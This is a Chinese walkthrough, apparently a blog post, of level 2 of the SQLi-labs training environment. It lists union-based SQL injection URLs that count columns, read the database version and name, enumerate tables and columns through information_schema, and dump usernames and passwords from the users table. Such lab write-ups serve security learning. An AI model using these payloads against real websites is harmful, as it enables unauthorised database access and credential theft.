less2

同Less1相同,存在注入点

输入

 

?id=1'

 

 SQLI DUMB SERIES-2

说明我们输入的数据被原封不动的带入了,无需要在1后面加单引号

 

(1)爆字段

 

?id=1 order by 4

 

 SQLI DUMB SERIES-2

字段为3.

(2)用union联合查询

?id=-1 union select 1,version(),database()

 SQLI DUMB SERIES-2

Php版本为5.5.53,数据库名字为security。

(3)爆表

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23

 SQLI DUMB SERIES-2

(4)爆列名

查看表users的所有列

?id=-1%20 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

 SQLI DUMB SERIES-2

(5)查看users表内容

?id=-1%20 union select 1,password,username from users where id=2%23

 SQLI DUMB SERIES-2

 

相关文章:

  • 2022-01-26
  • 2021-10-16
  • 2022-02-18
  • 2021-05-24
  • 2022-01-22
  • 2021-09-02
  • 2021-09-10
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-01-22
  • 2021-07-15
相关资源
相似解决方案